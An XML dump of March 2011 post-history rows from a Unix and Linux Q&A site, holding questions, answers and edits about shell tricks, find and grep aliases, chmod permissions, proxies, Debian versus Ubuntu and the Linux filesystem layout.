  <row Id="22657" PostHistoryTypeId="5" PostId="9521" RevisionGUID="10b93626-d508-41bf-900b-d287c88e142a" CreationDate="2011-03-18T09:06:33.197" UserId="4485" Comment="added 92 characters in body" Text="A working draft for a traditional shell: &#xD;&#xA;&#xD;&#xA;    ttyid=$(readlink /proc/$$/fd/1)&#xD;&#xA;    \___/   \______/ \___/ |  |  |&#xD;&#xA;      |         |      |   |  |  \- 0: stdin &#xD;&#xA;      |         |      |   |  |     1: stdout &lt;- our interest&#xD;&#xA;      |         |      |   |  |     2: stderr&#xD;&#xA;      |         |      |   |  \- fd is, maybe, filedescriptor&#xD;&#xA;      |         |      |   |&#xD;&#xA;      |         |      |   \- $$ is the PID of the current process (shell,&#xD;&#xA;      |         |      |      in our case)&#xD;&#xA;      |         |      |&#xD;&#xA;      |         |      \- you know, much runtime stuff is here&#xD;&#xA;      |         |&#xD;&#xA;      |         \- readlink extracts the symbolic link of /proc/$$/fd/1&#xD;&#xA;      |            lrwx------ 1 stefan stefan 64 2011-03-18 09:11&#xD;&#xA;      |            /proc/22159/fd/1 -&gt; /dev/pts/4&#xD;&#xA;      |&#xD;&#xA;      \- /dev/tty3 for real shell, /dev/pts/3 for xterm&#xD;&#xA;&#xD;&#xA;Now we can cat the screen to a file. Needs sudo.&#xD;&#xA;&#xD;&#xA;    id=${ttyid//\/dev\/tty}&#xD;&#xA;    sudo cat /dev/vcs$id &gt; screen.dump&#xD;&#xA;&#xD;&#xA;Apropos `screendump`: so named program doesn't work for me any more. Maybe for older kernels only. /dev/pts/N didn't work for me too. Maybe you have to some optional MKDEV in /dev - I remember darkly about some `/dev/cuaN`, but I may be wrong. &#xD;&#xA;&#xD;&#xA;We would like to pipe the output instead of using screen.dump. But somehow it doesn't work - sometimes it waits for ENTER. &#xD;&#xA;&#xD;&#xA;The capturing isn't a normal textfile with linefeeds, but with - for example - 80x50 chars in one sequence. &#xD;&#xA;&#xD;&#xA;To pick the last 2 lines, 1 for the output of the command, and one for the prompting line, I revert it, pick 160 chars, revert again and pick 80. &#xD;&#xA;&#xD;&#xA;    rev vcs4.dat | sed 's/\(.\{160\}\).*/\1/g' | rev | sed 's/\(.\{80\}\).*/\1/g'&#xD;&#xA;&#xD;&#xA;Just in case you ever wondered, why there is a `rev` program. &#xD;&#xA;&#xD;&#xA;Critique: &#xD;&#xA;&#xD;&#xA; - The first commands are entered, thus moving the line ahed. Well - just a numerical excercise to pick the 3rd-last line or something. I worked mainly in a different window.&#xD;&#xA; - Not everybody has a 80x50 screen. Well, yes, we know. There is $COLUMNS and $ROWS for your pleasure. &#xD;&#xA; - The output is not allways at the bottom. A fresh and young shell might be in the upper rows. Well - simple as that: Evaluate what shell is running. Which prompt is used. Do some prompt detection and find the last line with a shell-prompt. The line before (or 2. before) should contain the directory.&#xD;&#xA;&#xD;&#xA;The first diagram is made with [explain.py][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/vain/explain" />
  <row Id="22658" PostHistoryTypeId="2" PostId="9522" RevisionGUID="76492322-ac11-4ada-be0e-361a0b4de3a0" CreationDate="2011-03-18T09:15:52.307" UserId="863" Text="    cd $(python -c &quot;from distutils.sysconfig import get_python_lib; print get_python_lib()&quot; | tee $(readlink /proc/$$/fd/1))&#xD;&#xA;&#xD;&#xA;(building up on [4485's answer](http://unix.stackexchange.com/questions/9024/how-do-i-reuse-the-last-output-from-the-command-line/9521#9521))&#xD;&#xA;&#xD;&#xA;That's lots of typing, so make an alias:&#xD;&#xA;&#xD;&#xA;    alias tee2tty='tee $(readlink /proc/$$/fd/1)'&#xD;&#xA;&#xD;&#xA;Then simply call `cd $(python -c ... | tee2tty)`&#xD;&#xA;&#xD;&#xA;This of course requires you to already know what you want to do with the output but has the advantage of calling the command only once." />
  <row Id="22659" PostHistoryTypeId="2" PostId="9523" RevisionGUID="8ee0a717-fb1e-4ce7-9389-fd69a993fc26" CreationDate="2011-03-18T09:17:14.373" UserId="4485" Text="Afaik find has all you need. &#xD;&#xA;&#xD;&#xA;    find . -okdir diff {} /some/other/path/{} &quot;;&quot;&#xD;&#xA;&#xD;&#xA;find takes itself care for calling the programs savely. -okdir will prompt you before the diff (are you sure yes/no). &#xD;&#xA;&#xD;&#xA;No shell involved, no globbing, jokers, pi, pa, po.&#xD;&#xA;&#xD;&#xA;As a sidenote: If you combine find with for/while/do/xargs, in most cases, you're doing it wrong. :) " />
  <row Id="22660" PostHistoryTypeId="2" PostId="9524" RevisionGUID="4b80e58e-1f51-49b4-b3ca-3eb3e295bb07" CreationDate="2011-03-18T09:24:08.620" UserId="863" Text="You can use `inotifywait -d -o LOGFILE DIRNAME` from the [inotify-tools](https://github.com/rvoicilas/inotify-tools/wiki/) and then tail that LOGFILE" />
  <row Id="22661" PostHistoryTypeId="2" PostId="9525" RevisionGUID="925ba8d8-97e2-4556-93cc-f423b46f1324" CreationDate="2011-03-18T09:31:58.070" UserId="3645" Text="Loop through any files (*any* special character included) with the [completely safe find][1] (see the link for documentation):&#xD;&#xA;&#xD;&#xA;    exec 9&lt; &lt;( find &quot;$absolute_dir_path&quot; -type f -print0 )&#xD;&#xA;    while IFS= read -r -d '' -u 9&#xD;&#xA;    do&#xD;&#xA;        file_path=&quot;$(readlink -fn -- &quot;$REPLY&quot;; echo x)&quot;&#xD;&#xA;        file_path=&quot;${file_path%x}&quot;&#xD;&#xA;        echo &quot;START${file_path}END&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/l0b0/tilde/blob/master/examples/safe-find.sh" />
  <row Id="22662" PostHistoryTypeId="2" PostId="9526" RevisionGUID="fd5028f8-20e4-40d5-87ed-03b567aa56aa" CreationDate="2011-03-18T09:34:30.663" UserId="4485" Text="Why do you need octal number in the first place? &#xD;&#xA;&#xD;&#xA;I always use:&#xD;&#xA;&#xD;&#xA;    chmod o+x file   # all + eXecute permissions&#xD;&#xA;    chmod g-w file   # group - write perms&#xD;&#xA;    chmod u=r file   # user can just read&#xD;&#xA;    chmod ug=rw file # user,group = read and write&#xD;&#xA;    chmod a+w file   # user,group,others + write &#xD;&#xA;&#xD;&#xA;ugo(a) is easy to remember. However you can confuse o:=owner? o:=other? but what would be u, if o=owner? u:=user, therefore o=other. &#xD;&#xA;&#xD;&#xA;Some comands like numerical permissions only. Okay, it's not hard to calculate, if you remember the two sequences: ugo + rwx. &#xD;&#xA;&#xD;&#xA;        r   w   x  | Sum&#xD;&#xA;    u   4   2   1  | 7&#xD;&#xA;    g   4   -   1  |  5&#xD;&#xA;    o   4   2   -  |   6&#xD;&#xA;    ---------------------&#xD;&#xA;                     756&#xD;&#xA;&#xD;&#xA;Yes, very artificial. &#xD;&#xA;&#xD;&#xA;When it comes to s and S I have to consult the manual. Maybe google next time. :)" />
  <row Id="22663" PostHistoryTypeId="2" PostId="9527" RevisionGUID="a8e26dd9-577c-4907-bd96-c7f294622f13" CreationDate="2011-03-18T09:36:22.383" UserId="5664" Text="So our point is, if there is a good method to encrypt the full disk &#xD;&#xA;[like with dm-crypt/AES/under Linux], and we could have an up-to-date&#xD;&#xA;google chrome browser on OpenBSD, then it could be a very very good &#xD;&#xA;operating system for daily use!&#xD;&#xA;&#xD;&#xA;Dear community!&#xD;&#xA;&#xD;&#xA;Can someone please post small and compact [pointed] howtos, how to &#xD;&#xA;install an OpenBSD with full disk encryption, and how can we install&#xD;&#xA;google chrome on it?&#xD;&#xA;&#xD;&#xA;It's very important! Thank you in anticipation!" />
  <row Id="22664" PostHistoryTypeId="1" PostId="9527" RevisionGUID="a8e26dd9-577c-4907-bd96-c7f294622f13" CreationDate="2011-03-18T09:36:22.383" UserId="5664" Text="full disk encryption &amp; google chrome on OpenBSD!" />
  <row Id="22665" PostHistoryTypeId="3" PostId="9527" RevisionGUID="a8e26dd9-577c-4907-bd96-c7f294622f13" CreationDate="2011-03-18T09:36:22.383" UserId="5664" Text="ésecurityàédesktopàéopenbsdà" />
  <row Id="22666" PostHistoryTypeId="2" PostId="9528" RevisionGUID="cf5a686f-3fed-4a8c-bb61-db67769cb35a" CreationDate="2011-03-18T09:36:25.677" UserId="5845" Text="I have dafined the following in .bashrc:&#xD;&#xA;&#xD;&#xA;     alias fg='find . -name $1 | xargs grep --color $2'&#xD;&#xA;in order to write &#xD;&#xA;&#xD;&#xA;    fg &quot;*.txt&quot; &quot; my_text &quot;&#xD;&#xA;and find all file that have extension .txt and contain &quot; my_text &quot; but it does not work. Why?" />
  <row Id="22667" PostHistoryTypeId="1" PostId="9528" RevisionGUID="cf5a686f-3fed-4a8c-bb61-db67769cb35a" CreationDate="2011-03-18T09:36:25.677" UserId="5845" Text="A problem with find and grep" />
  <row Id="22668" PostHistoryTypeId="3" PostId="9528" RevisionGUID="cf5a686f-3fed-4a8c-bb61-db67769cb35a" CreationDate="2011-03-18T09:36:25.677" UserId="5845" Text="ébashàéfindàégrepàéaliasà" />
  <row Id="22669" PostHistoryTypeId="5" PostId="9524" RevisionGUID="43a1a1d8-f5c9-4ec8-a3c4-df665587c442" CreationDate="2011-03-18T09:39:50.773" UserId="863" Comment="fixed for 3.13" Text="You can use `inotifywait -m DIRNAME` from the [inotify-tools](https://github.com/rvoicilas/inotify-tools/wiki/)." />
  <row Id="22670" PostHistoryTypeId="5" PostId="9520" RevisionGUID="7a2fae9c-73b5-4d3b-927c-45d22c2885fd" CreationDate="2011-03-18T09:39:52.693" UserId="3645" Comment="Interested in disk I/O, not file access" Text="I've got a few processes with a known name that all write to files in a single directory. I'd like to log the number of **disk block reads and writes over a period** (*not* just file access) to test whether a parameter change reduces the amount of I/O significantly. I'm currently using `iostat -d -p`, but that is limited to the whole partition." />
  <row Id="22671" PostHistoryTypeId="2" PostId="9529" RevisionGUID="964da17b-88f5-4101-a8b7-240268950bf9" CreationDate="2011-03-18T09:44:32.627" UserId="3645" Text="`grep` doesn't take file names on standard input, it *searches through* standard input, so you're better off with this:&#xD;&#xA;&#xD;&#xA;    fg()&#xD;&#xA;    {&#xD;&#xA;        find . -name &quot;$1&quot; -exec grep --color $2 -- &quot;{}&quot; \;&#xD;&#xA;    }" />
  <row Id="22672" PostHistoryTypeId="5" PostId="9476" RevisionGUID="746d2bde-a400-4e9d-90c1-0cf7c73c9769" CreationDate="2011-03-18T09:51:21.417" UserId="2780" Comment="added 2 characters in body" Text="If you read changelogs, you will see a lot of collaboration between Debian and Ubuntu.&#xD;&#xA;&#xD;&#xA;![workflow](http://www.diagrammr.com/png?key=dodjkzMu8Bg)&#xD;&#xA;&#xD;&#xA;Security fixes not shown as they are everywhere except `testing`&#xD;&#xA;&#xD;&#xA;* [Debian release cycle][debian]&#xD;&#xA;* [Ubuntu reviewing of Debian packages: From Debian to Ubuntu][debian2ubuntu]&#xD;&#xA;* [Utnubu: from Ubuntu to Debian][ubuntu2debian]&#xD;&#xA;&#xD;&#xA; [debian]: http://wiki.debian.org/DebianTesting&#xD;&#xA; [debian2ubuntu]: https://wiki.ubuntu.com/Ubuntu/ForDebianDevelopers#Why%20does%20Ubuntu%20have%20an%20older/buggy%20version%20of%20my%20package?&#xD;&#xA; [ubuntu2debian]: http://wiki.debian.org/Utnubu" />
  <row Id="22673" PostHistoryTypeId="2" PostId="9530" RevisionGUID="677b9cb6-20a5-413a-96b6-19d2e860c607" CreationDate="2011-03-18T09:58:43.700" UserId="5666" Text="Aliases in bash do not take parameters (as already pointed out), so when you need something like that you can use bash functions (like the one provided by @l0b0).&#xD;&#xA;&#xD;&#xA;But what you are trying to achieve here, can be done in a better way by using only grep.&#xD;&#xA;&#xD;&#xA;    grep -r --color --include=&quot;*.txt&quot; &quot; my_text &quot; ./&#xD;&#xA;&#xD;&#xA;BTW, `fg` is a shell built in command, an important one. You should avoid using it as a name for aliases or functions." />
  <row Id="22674" PostHistoryTypeId="5" PostId="9476" RevisionGUID="93330181-152d-47cc-a266-f9c5d1c25c3b" CreationDate="2011-03-18T09:58:47.200" UserId="2780" Comment="added 346 characters in body; added 1 characters in body; added 93 characters in body" Text="If you read changelogs, you will see a lot of collaboration between Debian and Ubuntu. Here is a workflow of the exchanges:&#xD;&#xA;&#xD;&#xA;![workflow](http://www.diagrammr.com/png?key=dodjkzMu8Bg)&#xD;&#xA;&#xD;&#xA;Security fixes not shown as they are everywhere except `testing`&#xD;&#xA;&#xD;&#xA;* [Debian release cycle][debian]&#xD;&#xA;* [Ubuntu reviewing of Debian packages: From Debian to Ubuntu][debian2ubuntu]&#xD;&#xA;* [Utnubu: from Ubuntu to Debian][ubuntu2debian]&#xD;&#xA;&#xD;&#xA; [debian]: http://wiki.debian.org/DebianTesting&#xD;&#xA; [debian2ubuntu]: https://wiki.ubuntu.com/Ubuntu/ForDebianDevelopers#Why%20does%20Ubuntu%20have%20an%20older/buggy%20version%20of%20my%20package?&#xD;&#xA; [ubuntu2debian]: http://wiki.debian.org/Utnubu&#xD;&#xA;&#xD;&#xA;Personally, I choose Debian `testing` because it has some form of stability (not being `unstable` for at least 10 days) with no specific patch day in the year (only once every two years). In my point of view, Debian testing is even more stable than an biannual Ubuntu (not LTS).&#xD;&#xA;&#xD;&#xA;For other person which ask for advise, I say &quot;Ubuntu&quot;, for the sake of simplicity, people love to reinstall, I don't." />
  <row Id="22675" PostHistoryTypeId="2" PostId="9531" RevisionGUID="567069f8-1341-41a8-ab48-18b8bd38def4" CreationDate="2011-03-18T09:58:51.203" UserId="4949" Text="`find ./ -name $i -exec grep -l $2 {} \;` should do the trick.  " />
  <row Id="22676" PostHistoryTypeId="5" PostId="9491" RevisionGUID="638fd89b-ffbe-441f-87ab-07c5eeb0d491" CreationDate="2011-03-18T09:59:08.927" UserId="5766" Comment="added 108 characters in body; added 3 characters in body" Text=" - Brace expansion in combination with for loops:&#xD;&#xA;&#xD;&#xA;        for c in {1..3}; do :; done&#xD;&#xA;&#xD;&#xA; - `!` operator and short circuiting operators `||` and `&amp;&amp;`&#xD;&#xA;&#xD;&#xA;        [ -d /tmp/dir ] || mkdir /tmpdir&#xD;&#xA;&#xD;&#xA;        if ! ping 34.41.34.1; then :; fi&#xD;&#xA;&#xD;&#xA; - using sub shells instead of pop/push (comes in handy in scripts)&#xD;&#xA;&#xD;&#xA;        ~$ ( cd /tmp; echo $PWD )&#xD;&#xA;        /tmp&#xD;&#xA;        ~$&#xD;&#xA;&#xD;&#xA; - the kind-of *what-is* command `type`&#xD;&#xA;&#xD;&#xA;        ~$ type type&#xD;&#xA;        type is a shell builtin&#xD;&#xA;        ~$ type ls&#xD;&#xA;        ls is aliased to `ls --color=auto'&#xD;&#xA;        ~$ f(){ :; }&#xD;&#xA;        ~$ type f&#xD;&#xA;        f is a function&#xD;&#xA;        f () &#xD;&#xA;        { &#xD;&#xA;             :&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA; - also very nice: here-strings&#xD;&#xA;&#xD;&#xA;        ~$ cat &lt;&lt;&lt;&quot;here $PWD&quot;&#xD;&#xA;        here /home/yourname&#xD;&#xA;        ~$&#xD;&#xA;&#xD;&#xA; - and my favorite: redirection on a list of commands &#xD;&#xA;&#xD;&#xA;        { w; ps; ls /tmp; } 2&gt;/dev/null |less&#xD;&#xA;" />
  <row Id="22677" PostHistoryTypeId="5" PostId="9491" RevisionGUID="14f175df-0623-45cb-a693-82aa625539d9" CreationDate="2011-03-18T10:04:16.673" UserId="5766" Comment="added 74 characters in body" Text=" - The do-nothing command `:` as in&#xD;&#xA;   &#xD;&#xA;        while :; do :; done&#xD;&#xA;&#xD;&#xA; - Brace expansion in combination with for loops:&#xD;&#xA;&#xD;&#xA;        for c in {1..3}; do :; done&#xD;&#xA;&#xD;&#xA; - `!` operator and short circuiting operators `||` and `&amp;&amp;`&#xD;&#xA;&#xD;&#xA;        [ -d /tmp/dir ] || mkdir /tmp/dir&#xD;&#xA;&#xD;&#xA;        if ! ping 34.41.34.1; then :; fi&#xD;&#xA;&#xD;&#xA; - using sub shells instead of pop/push (comes in handy in scripts)&#xD;&#xA;&#xD;&#xA;        ~$ ( cd /tmp; echo $PWD )&#xD;&#xA;        /tmp&#xD;&#xA;        ~$&#xD;&#xA;&#xD;&#xA; - the kind-of *what-is* command `type`&#xD;&#xA;&#xD;&#xA;        ~$ type type&#xD;&#xA;        type is a shell builtin&#xD;&#xA;        ~$ type ls&#xD;&#xA;        ls is aliased to `ls --color=auto'&#xD;&#xA;        ~$ f(){ :; }&#xD;&#xA;        ~$ type f&#xD;&#xA;        f is a function&#xD;&#xA;        f () &#xD;&#xA;        { &#xD;&#xA;             :&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA; - also very nice: here-strings&#xD;&#xA;&#xD;&#xA;        ~$ cat &lt;&lt;&lt;&quot;here $PWD&quot;&#xD;&#xA;        here /home/yourname&#xD;&#xA;        ~$&#xD;&#xA;&#xD;&#xA; - and my favorite: redirection on a list of commands &#xD;&#xA;&#xD;&#xA;        { w; ps; ls /tmp; } 2&gt;/dev/null |less&#xD;&#xA;" />
  <row Id="22678" PostHistoryTypeId="5" PostId="4719" RevisionGUID="29a8f87b-1954-4359-9314-37b945beb82a" CreationDate="2011-03-18T10:15:15.257" UserId="688" Comment="rm noisy link" Text="I got version 0.26 from [libcanberra site][1], and running `make` gives:&#xD;&#xA;&#xD;&#xA;    make[2]: *** No rule to make target `README', needed by `all-am'.  Stop.&#xD;&#xA;    make[2]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26/doc'&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make[1]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26'&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;&#xD;&#xA;Output of `./configure`:&#xD;&#xA;&#xD;&#xA;    prefix:                 /usr/local&#xD;&#xA;    sysconfdir:             ${prefix}/etc&#xD;&#xA;    localstatedir:          ${prefix}/var&#xD;&#xA;    Compiler:               gcc -std=gnu99&#xD;&#xA;    CFLAGS:                 -g -O2 -Wall -W -Wextra -pedantic -pipe -Wno-long-long -Winline -Wvla -Wno-overlength-strings -Wunsafe-loop-optimizations -Wundef -Wformat=2 -Wlogical-op -Wsign-compare -Wpacked -Wformat-security -Wmissing-include-dirs -Wformat-nonliteral -Wold-style-definition -Wpointer-arith -Winit-self -Wdeclaration-after-statement -Wfloat-equal -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wmissing-noreturn -Wshadow -Wendif-labels -Wstrict-aliasing=2 -Wcast-align -Wwrite-strings -Wno-unused-parameter -ffast-math -Wp,-D_FORTIFY_SOURCE=2 -fno-common -fdiagnostics-show-option -fno-strict-aliasing&#xD;&#xA;    C++-Compiler:           g++&#xD;&#xA;    CXXFLAGS:               -g -O2&#xD;&#xA;    Builtin DSO:            yes&#xD;&#xA;    Enable PulseAudio:      yes&#xD;&#xA;    Builtin PulseAudio:     no&#xD;&#xA;    Enable ALSA:            yes&#xD;&#xA;    Builtin ALSA:           no&#xD;&#xA;    Enable OSS:             yes&#xD;&#xA;    Builtin OSS:            no&#xD;&#xA;    Enable GStreamer:       yes&#xD;&#xA;    Builtin GStreamer:      no&#xD;&#xA;    Enable Null Output:     yes&#xD;&#xA;    Builtin Null Output:    no&#xD;&#xA;    Enable tdb:             no&#xD;&#xA;    Enable lookup cache:    no&#xD;&#xA;    Enable GTK+:            yes&#xD;&#xA;    GTK Modules Directory:  ${exec_prefix}/lib/gtk-2.0/modules&#xD;&#xA;    Enable GTK3+:           yes&#xD;&#xA;    GTK3 Modules Directory: ${exec_prefix}/lib/gtk-3.0/modules&#xD;&#xA;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;**UPDATE**: I'm no longer experiencing this problem and have no idea what fixed it.&#xD;&#xA;&#xD;&#xA;  [1]: http://0pointer.de/lennart/projects/libcanberra/" />
  <row Id="22679" PostHistoryTypeId="5" PostId="9530" RevisionGUID="f913e8ae-503d-4726-98bf-b57cbbca32f6" CreationDate="2011-03-18T10:26:45.257" UserId="5666" Comment="added 111 characters in body" Text="Aliases in bash do not take parameters (as already pointed out), so when you need something like that you can use bash functions (like the one provided by @l0b0).&#xD;&#xA;&#xD;&#xA;But what you are trying to achieve here, can be done in a better way by using only grep.&#xD;&#xA;&#xD;&#xA;    grep -r --color --include=&quot;*.txt&quot; &quot; my_text &quot; ./&#xD;&#xA;&#xD;&#xA;BTW, `fg` is a shell built in command, an important one. You should avoid using it as a name for aliases or functions.&#xD;&#xA;&#xD;&#xA;EDIT: in a function&#xD;&#xA;&#xD;&#xA;    $ ffg() { rgrep --color --include=&quot;$1&quot; &quot;$2&quot; ./; }&#xD;&#xA;    $ ffg &quot;*.txt&quot; &quot; my_text &quot;" />
  <row Id="22680" PostHistoryTypeId="2" PostId="9532" RevisionGUID="5311fd6d-78d9-4530-b253-2b0f6cd95f57" CreationDate="2011-03-18T10:44:05.600" UserId="5847" Text="[WireframeSketcher][1] is a cross-platform tool that can be used for prototyping.&#xD;&#xA;&#xD;&#xA;![Sample WireframeSketcher mockup][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wireframesketcher.com&#xD;&#xA;  [2]: http://i.imgur.com/xnM5M.png" />
  <row Id="22681" PostHistoryTypeId="2" PostId="9533" RevisionGUID="dd917eac-0560-4a8f-9a5f-b7d1c6d7b837" CreationDate="2011-03-18T10:58:46.727" UserId="5846" Text="There's no one-for-all solution. Each program uses its own way to connect to a proxy server.&#xD;&#xA;&#xD;&#xA;I have a similar problem at my office. I found that best way to do this is to use a VPN connection. When you connect, the whole system network traffic will go through the VPN. If you don't have access to a VPN server, you can run a new one manually, and connect it to the proxy server you've got.&#xD;&#xA;&#xD;&#xA;If you have an application that doesn't support proxy, you can use something like *socksify*, to wrap its network connection." />
  <row Id="22682" PostHistoryTypeId="2" PostId="9534" RevisionGUID="9d43e37c-6bec-43b0-98a8-efbffa8433ff" CreationDate="2011-03-18T11:14:55.183" UserId="4402" Text="It is fairly easy to disown a process, or make it run without a ttl, but is it possible to transfer to process to your own ttl?&#xD;&#xA;&#xD;&#xA;_note: by disown a process, i'm talking about running a command using nohup, or by running the disown builtin._" />
  <row Id="22683" PostHistoryTypeId="1" PostId="9534" RevisionGUID="9d43e37c-6bec-43b0-98a8-efbffa8433ff" CreationDate="2011-03-18T11:14:55.183" UserId="4402" Text="Is it possible to transfer a running process to your terminal?" />
  <row Id="22684" PostHistoryTypeId="3" PostId="9534" RevisionGUID="9d43e37c-6bec-43b0-98a8-efbffa8433ff" CreationDate="2011-03-18T11:14:55.183" UserId="4402" Text="élinuxàébashàéshellà" />
  <row Id="22685" PostHistoryTypeId="25" PostId="9528" RevisionGUID="effcb909-ffcb-497e-b77d-e37adb42d679" CreationDate="2011-03-18T11:31:20.827" Comment="http://twitter.com/#!/StackUnix/status/48708058477637633" />
  <row Id="22686" PostHistoryTypeId="5" PostId="9507" RevisionGUID="43af8ba7-17d3-49b1-a32a-6102c94605b5" CreationDate="2011-03-18T11:35:05.130" UserId="5785" Comment="nawk -&gt; awk" Text="Maybe:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    echo -n &quot;Enter a letter:&quot;&#xD;&#xA;    read A&#xD;&#xA;    echo ${A}|od -t d1|awk '{printf &quot;%s&quot;,$2}';echo&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22687" PostHistoryTypeId="2" PostId="9535" RevisionGUID="5e6fcc18-3d79-458a-b00b-fb3eb10dea7e" CreationDate="2011-03-18T11:55:40.453" UserId="5845" Text="This works!&#xD;&#xA;&#xD;&#xA;    function fndg()&#xD;&#xA;    {&#xD;&#xA;       find . -name &quot;$1&quot; | xargs grep -rn --color &quot;$2&quot;&#xD;&#xA;    }" />
  <row Id="22688" PostHistoryTypeId="5" PostId="9462" RevisionGUID="dcbdd947-742b-4541-bebf-572deb001bb8" CreationDate="2011-03-18T11:56:03.787" UserId="2780" Comment="I forgot my english" Text="Here's more I'm aware of (on top of [@faif 's answer][1]):&#xD;&#xA;&#xD;&#xA;* The most visible one to me is that Ubuntu treats sudo with greater regard than Debian. During Debian installation, the default option is to set up root password, as opposed to Ubuntu installation.&#xD;&#xA;* Ubuntu desktop is more polished (customised) than Debian's. Ubuntu's high regard for sudo is visible here too. For example, even though you specify you don't want to set root password on Debian, the desktop is still going to ask you to enter root password, even if it hasn't been set up yet.&#xD;&#xA;* The Ubuntu installer is far prettier and, consequently, far heavier to run. It's isn't much easier though, that is Debian's installer is quite easy to use as it is.&#xD;&#xA;* It's much easier to run a 3D desktop (Compiz) on Ubuntu than on Debian. I is just a few clicks away, while in the case of Debian, you actually have to use the command line to run it.&#xD;&#xA;* YMMV, but many have claimed that Debian is more stable. I can attest to that, although I haven't actually checked recently.&#xD;&#xA;* Debian is more conservative regarding system-wide technical changes, partly because it takes much more co-ordination to get things done, given it's a volunteer project without real Dictator (Benevolent or not).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9459/differences-between-debian-and-ubuntu/9461#9461" />
  <row Id="22689" PostHistoryTypeId="24" PostId="9462" RevisionGUID="dcbdd947-742b-4541-bebf-572deb001bb8" CreationDate="2011-03-18T11:56:03.787" Comment="Proposed by 2780 approved by 29 edit id of 216" />
  <row Id="22690" PostHistoryTypeId="2" PostId="9536" RevisionGUID="1bdf8801-986c-469b-81c5-852aac61423a" CreationDate="2011-03-18T12:02:59.840" UserId="298" Text="In some *nix distributions (tested on OpenBSD and Ubuntu) the man page for the file system hierarchy can be useful.&#xD;&#xA;&#xD;&#xA;    $ man hier&#xD;&#xA;&#xD;&#xA;Of course, this will vary depending on platform and how up to date the manual pages are.  The man page (on Ubuntu) also references the Filesystem Hierarchy Standard that was pointed to earlier.  &#xD;&#xA;&#xD;&#xA;I did not find a similar manual entry on solaris.  &#xD;&#xA;&#xD;&#xA;In general, different linux distributions are free to put things wherever they want to, so it can get confusing quickly.  Most executables that the system installs (either as part of the base system or through a package manager) will end up somewhere in your default path (usually in /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin) though some distributions use /opt, /usr/share/bin, among others. A parallel could be drawn to the &quot;Program Files&quot; folder in windows. The &quot;Windows&quot; folder could be somewhat like /usr/lib /usr/include /usr/share and others.  Your &quot;My Documents&quot; folder is somewhat parallel to your home directory on linux (/home/user) with the nice addition that most user specific configurations for programs like firefox, thunderbird, etc live here making moving to a new system fairly painless.  &#xD;&#xA;&#xD;&#xA;The problem with these parallels is they are not exactly accurate.  Windows and linux are different in this respect. &#xD;&#xA;&#xD;&#xA;The best way forward is to continue poking around with the system, as you probably did when you first started using windows, break things, fix them, ask questions along the way.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22691" PostHistoryTypeId="2" PostId="9537" RevisionGUID="0563bceb-b056-4821-a9f4-d4f809b803e2" CreationDate="2011-03-18T12:18:56.840" UserId="3976" Text="I agree that the best way to use the proxy server is with the environment variable `http_proxy`, as other answers have pointed out.  Unfortunately, not all applications honour the http_proxy environment variable, which is why I still use [tsocks][1] for some programs to use LD_PRELOAD to force network connections to go through a SOCKS proxy.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tsocks.sourceforge.net/about.php" />
  <row Id="22693" PostHistoryTypeId="6" PostId="9520" RevisionGUID="8e931aac-bcd4-404d-8f3e-c0d542045217" CreationDate="2011-03-18T12:32:00.670" UserId="3645" Comment="edited tags" Text="élinuxàémonitoringàédisköusageà" />
  <row Id="22694" PostHistoryTypeId="4" PostId="9520" RevisionGUID="ff26b06b-ea40-40af-9c6b-b05d6f1012bb" CreationDate="2011-03-18T12:42:51.123" UserId="2511" Comment="edited tags; edited title" Text="How can I monitor disk io in a particular directory?" />
  <row Id="22695" PostHistoryTypeId="6" PostId="9520" RevisionGUID="ff26b06b-ea40-40af-9c6b-b05d6f1012bb" CreationDate="2011-03-18T12:42:51.123" UserId="2511" Comment="edited tags; edited title" Text="élinuxàémonitoringàéioàédisköusageà" />
  <row Id="22696" PostHistoryTypeId="2" PostId="9538" RevisionGUID="8d20dd18-705c-443b-8a6e-bd2363864415" CreationDate="2011-03-18T12:43:25.437" UserId="3447" Text="In Windows when you install a program, it creates a folder in Program Files that contains everything.  It has the binaries, the libraries, the resource files, etc.  In Linux, binaries usually go in `/usr/bin`, libraries go in `/usr/lib`, and resources go in `/usr/share`.  Specifically with like an icon file, that would go in `/usr/share/icons`.  Fonts can be found in `/usr/share/fonts`.  Development headers go in `/usr/include`, and lastly, configuration files go in `/etc`.&#xD;&#xA;&#xD;&#xA;This layout has some cool advantages.  By putting libraries into `/usr/lib`, it's much  easier to share libraries between applications.  In Windows, it's typical to see each program install their own set of libraries into Program Files, and another app may install the same exact library so now you have two exact copies of a .dll file.  It also add some consistency to the filesystem layout.  In Windows, you know the program will have a folder in Program Files, but there's no guarantee on how it's layed out inside that folder.  Maybe the executables will be in a `bin/` folder, maybe not.  Maybe it will have a `conf/` folder, again maybe not." />
  <row Id="22697" PostHistoryTypeId="2" PostId="9539" RevisionGUID="5ee0fc40-3ca1-4eef-87ac-8b39c1d643c2" CreationDate="2011-03-18T12:53:51.987" UserId="5785" Text="I used &quot;DIA&quot; and &quot;UMBRELLO&quot;, both fine, but not like Visio." />
